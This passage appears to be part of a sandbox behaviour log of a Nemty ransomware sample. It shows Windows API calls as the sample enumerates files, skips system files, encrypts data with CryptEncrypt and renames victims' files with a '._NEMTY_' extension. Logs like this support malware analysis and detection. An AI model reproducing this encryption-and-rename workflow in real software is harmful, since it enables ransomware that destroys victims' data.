hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340120, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0086.763] CloseHandle (hObject=0xffffffff) returned 0 [0086.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340290 [0086.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0086.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0086.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0086.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6340440 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.764] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0086.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.764] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0086.764] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0086.765] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0086.765] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0086.765] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0086.765] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0086.765] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0086.765] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0086.765] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0086.765] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0086.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0086.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0086.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0086.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0086.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0086.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0086.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0086.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0086.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0086.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0086.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0086.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94358 [0086.777] Sleep (dwMilliseconds=0x5) [0086.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe75f45d0, dwHighDateTime=0x1d561e7)) [0086.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe75f45d0, dwHighDateTime=0x1d561e7)) [0086.781] GetLastError () returned 0x5 [0086.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.781] GetLastError () returned 0x5 [0086.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.781] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0086.781] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0086.781] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0086.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0086.781] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="57k5Nwd1puJExa4pThETPMm18HgLgarpb679kPUw/w9m3MHSSGfriXebTRvPVMyS\r\nvWvR7vPsuAOwFIs63hdQ9sGKP6w1A7VrE7GEQJFRIssHZqnloVgiH+ir1NhSWx0A\r\nJG0JRZbbCX2BnIfozsj1sJphaO025YdWduhyLOOAY0jnRjAVpFxOTDwbWTXGm+4D\r\nv87KcIXRjQlmrnG5cIoPqDcVBusGUifJfDE1tbR6JX3ckOBACusGHUpv76C1p655\r\ncJ/JLVke0lKlk6E5aQOiWwcw7Yc2VZEAMCGHCJlXaOEfuoYSITq5dpU8IwbMeFyO\r\nJ7Vuyl1bq0LRIjDc2NJayg==\r\n", pcchString=0x653e91c) returned 1 [0086.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0086.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0086.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0086.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0086.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0086.781] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.782] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0086.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0086.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.800] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, 